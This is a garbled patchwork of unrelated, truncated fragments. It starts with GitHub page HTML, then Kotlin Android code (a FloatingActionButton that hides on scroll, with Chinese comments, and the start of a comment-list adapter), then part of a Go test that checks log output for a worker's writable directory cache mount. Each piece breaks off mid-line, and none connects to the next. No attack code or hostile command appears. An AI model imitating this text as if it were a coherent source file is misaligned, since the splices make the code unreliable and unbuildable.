        loadingStateChanged:command-palette#loadingStateChanged
        selectedItemChanged:command-palette#selectedItemChanged
        pageFetchError:command-palette#pageFetchError
      ">

        <command-palette-mode
          data-char="#"
            data-scope-types="[""]"
            data-placeholder="Search issues and pull requests"
        ></command-palette-mode>
        <command


.material.floatingactionbutton.FloatingActionButton
import androidx.core.view.ViewCompat
import android.util.AttributeSet
import android.view.View

/**
 * Created by lingxiao on 2017/10/22.
 */

class ScrollAwareFabBehaviorDefault(context: Context, attr: AttributeSet) : FloatingActionButton.Behavior() {

    private var visible = true //是否可见
    //列表（RecyclerView）刚开始滑动时候会回调该方法，需要在方法内设置滑动关联轴。这里只需要垂直方向上的滑动即可。
    override fun onStartNestedScroll(
        coordinatorLayout: androidx.coordinatorlayout.widget.CoordinatorLayout,
        child: FloatingActionButton, directTargetChild: View,
        target: View, nestedScrollAxes: Int
    ): Boolean {
        return nestedScrollAxes == ViewCompat.SCROLL_AXIS_VERTICAL || super.onStartNestedScroll(
            coordinatorLayout, child,
            directTargetChild, target, nestedScrollAxes
        )
    }

    //onNestedScroll：滑动的时候不断的回调该方法，通过dyConsumed来判断是上滑还是下滑。
    override fun onNestedScroll(
        coordinatorLayout: androidx.coordinatorlayout.widget.CoordinatorLayout,
        child: FloatingActionButton, target: View,
        dxConsumed: Int, dyConsumed: Int, dxUnconsumed: Int, dyUnconsumed: Int
    ) {
        super.onNestedScroll(
            coordinatorLayout,
            child, target, dxConsumed, dyConsumed, dxUnconsumed, dyUnconsumed
        )
        if (dyConsumed > 0 && visible) {
            // User scrolled down and the FAB is currently visible -> hide the FAB
            //fab只隐藏，不显示，在hide方法里设置为GONE，所以不会再调用onNestedScroll方法
            child.hide(object : FloatingActionButton.OnVisibilityChangedListener() {
                override fun onHidden(fab: FloatingActionButton?) {
                    super.onHidden(fab)
                    fab!!.visibility = View.INVISIBLE
                }
            })
            visible = false
        } else if (dyConsumed < 0) {
            // User scrolled up and the FAB is currently not visible -> show the FAB
            child.show()
            visible = true
        }
    }

}
package com.bilibili.lingxiao.play.adapter

import android.net.Uri
import android.text.SpannableString
import android.text.Spanned.SPAN_INCLUSIVE_INCLUSIVE
import android.text.style.ForegroundColorSpan
import android.view.View
import android.widget.ImageView
import android.widget.LinearLayout
import android.widget.TextView
import com.bilibili.lingxiao.GlobalProperties
import com.bilibili.lingxiao.R
import com.bilibili.lingxiao.play.model.CommentData
import com.bilibili.lingxiao.utils.DateUtil
import com.bilibili.lingxiao.utils.StringUtil
import com.camera.lingxiao.common.utills.LogUtils
import com.chad.library.adapter.base.BaseMultiItemQuickAdapter
import com.chad.library.adapter.base.BaseQuickAdapter
import com.chad.library.adapter.base.BaseViewHolder
import com.facebook.drawee.view.SimpleDraweeView
import java.lang.Exception

class CommentAdapter : BaseMultiItemQuickAdapter<CommentData.Reply, BaseViewHolder> {
    private val levelImages = arrayOf(
        R.drawable.mall_mine_vip_level_0,
        R.drawable.mall_mine_vip_level_1,
        R.drawable.mall_mine_vip_level_2,
        R.drawable.mall_mine_vip_level_3,
        R.drawable.mall_mine_vip_level_4,
        R.drawable.mall_mine_vip_level_5,
        R.drawable.mall_mine_vip_level_6
    )
    private val replies by lazy {
        arrayOf(
            R.id.comment_hot1,
            R.id.comment_hot2,
            R.id.commen


 is independent of whether running as current user or not
	grantingCacheFile, _ := grantingDenying(t, "file", true)
	updatingOwnership := updateOwnership(t)

	// No cache on first pass
	pass1 := append([]string{
		`No existing writable directory cache 'banana-cache' - creating .*`,
		`Downloading task ` + taskID + ` artifact public/build/unknown_issuer_app_1.zip to .*`,
		`Downloaded 4220 bytes with SHA256 625554ec8ce731e486a5fb904f3331d18cf84a944dd9e40c19550686d4e8492e from task ` + taskID + ` artifact public/build/unknown_issuer_app_1.zip to .*`,
		`Content from task ` + taskID + ` artifact public/build/unknown_issuer_app_1.zip \(.*\) matches required SHA256 625554ec8ce731e486a5fb904f3331d18cf84a944dd9e40c19550686d4e8492e`,
		`Creating directory .*` + t.Name(),
		`Copying file '.*' to '.*'`,
	},
		grantingCacheFile...,
	)
	pass1 = append(pass1,
		`Extracting zip file .* to '.*`+t.Name()+`'`,
		`Removing file '.*'`,
	)
	pass1 = append(pass1,
		updatingOwnership...,
	)
	pass1 = append(pass1,
		`Successfully mounted writable directory cache '.*`+t.Name()+`'`,
		`Preserving cache: Moving ".*`+t.Name()+`" to ".*"`,
		`Removing cache banana-cache from cache table`,
		`Deleting cache banana-cache file\(s\) at .*`,
		`Could not unmount task `+taskID+` artifact public/build/unknown_issuer_app_1.zip due to: 'could not persist cache "banana-cache" due to .*'`,
	)

	// On second pass, cache already exists
	pass2 := append([]string{
		`No existing writable directory cache 'banana-cache' - creating .*`,
		`Found existing download for artifact:` + taskID + `:public/build/unknown_issuer_app_1.zip \(.*\) with correct SHA256 625554ec8ce731e486a5fb904f3331d18cf84a944dd9e40c19550686d4e8492e`,
		`Creating directory .*` + t.Name(),
		`Copying file '.*' to '.*'`,
	},
		grantingCacheFile...,
	)
	pass2 = append(pass2,
		`Extracting zip file .* to '.*`+t.Name()+`'`,
		`Removing file '.*'`,
	)
	pass2 = append(pass2,
		updatingOwnership...,
	)
	pass2 = append(pass2,
		`Successfully mounted writable directory cache '.*`+t.Name()+`'`,
		`Preserving cache: Moving ".*`+t.Name()+`" to ".*"`,
		`Removing cache banana-cache from cache table`,
		`Deleting cache banana-cache file\(s\) at .*`,
		`Could not unmount task `+taskID+` artifact public/build/unknown_issuer_app_1.zip due to: 'could not persist cache "banana-cache" due to .*'`,
	)

	payload := GenericWorkerPayload{
		Command:    goRun("move-file.go", t.Name(), "MovedCache"),
		MaxRunTime: 100,
	}
	defaults.SetDefaults(&payload)

	LogTest(
		&MountsLoggingTestCase{
			Test: t,
			Mounts: []MountEntry{
				&WritableDirectoryCache{
					CacheName: "banana-cache",
					Directory: t.Name(),
					Content: json.RawMessage(`{
						"taskId": "` + taskID + `",
						"artifact": "public/build/unknown_issuer_app_1